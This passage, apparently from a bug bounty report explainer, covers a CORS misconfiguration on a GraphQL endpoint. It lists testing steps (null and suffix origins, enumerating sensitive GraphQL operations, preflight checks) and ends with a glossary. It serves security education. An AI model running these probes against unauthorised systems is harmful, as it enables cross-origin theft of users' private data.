3. **Null or suffix origins.** Try `Origin: null` and origins that merely end with the trusted domain. A positive result is any of them reflected in `Access-Control-Allow-Origin` with credentials allowed.
4. **Breadth of the GraphQL schema.** Once one query is readable cross-origin, enumerate other operations (profile, tickets, orders, configuration) as the researcher did. A positive result is sensitive data from more than one operation, which strengthens the impact case.
5. **Preflight behaviour.** Check whether `OPTIONS` responses also reflect the origin and allow credentials. A preflight is a preliminary request the browser sends before certain cross-origin requests to ask permission. A positive result means non-simple requests, such as those with a JSON content type, are equally exposed.

## Glossary

- **API**: the part of a website that serves data to other software, rather than web pages to people.
- **Bug bounty program**: a scheme where a company pays independent researchers for reporting security problems.
- **Cookie**: a small piece of data a website asks the browser to store and send back automatically on later requests to that site.
- **CORS (Cross-Origin Resource Sharing)**: the set of response headers by which a server tells the browser which other origins may read its responses.
- **Credentials**: the data that identifies a user on a request, such as cookies and authentication tokens.
- **Cross-origin request**: a request made by a page on one origin to a different origin.
- **CVSS**: a standard 0 to 10 scale for scoring the severity of a vulnerability.
- **Endpoint**: a specific address on a server that accepts requests, such as `/graph`.
- **GET request**: a request that asks a server to return something, without changing anything.
- **GraphQL**: an API style where the client writes a query naming exactly the fields it wants.
- **Header**: a line of extra information attached to a request or response.
- **HTML**: the language used to describe the structure of a web page.
- **Impact**: the real-world harm an attacker could cause by exploiting a vulnerability.
- **Integrity**: a CVSS measure of whether an attacker can change data.
- **JavaScript**: the programming language that runs in the browser and makes pages interactive.
- **JSON**: a common text format for structured data.
- **JWT (JSON Web Token)**: a standard format for a token that proves a user's identity.
- **Origin**: the combination of protocol, host and port that identifies a website, for example `https://app.example.com`.
- **`Origin` header**: a request header naming the origin of the page that made the request.
- **Pagination**: delivering a long list in pages rather than all at once.
- **Parameter**: a named value in a URL, such as `q` in `?q=...`.
- **PoC (proof of concept)**: a small working demonstration that a vulnerability is real.
- **Preflight**: a preliminary `OPTIONS` request the browser sends before certain cross-origin requests to ask permission.
- **Reflected origin**: a server copying the `Origin` value it receives straight back into `Access-Control-Allow-Origin`.
- **Same-Origin Policy**: the browser rule that JavaScript on one origin may not read responses from another origin.
- **`SameSite`**: a cookie setting that controls when the browser sends the cookie on cross-site requests.
- **Scope**: a CVSS measure of whether an attacker can affect components beyond the one they attacked.
- **Severity**: a label for how serious a vulnerability is, such as High or Medium.
- **Token**: a piece of data that proves who you are, presented with requests.
- **Webhook**: a URL that accepts incoming data and records it, used here to prove data left the browser.

Similar reports

View all

Same bug class and techniques, clearest first.

CORS misconfiguration

The lesson behind this report.

A permissive cross-origin policy lets another site read responses with the user's credentials.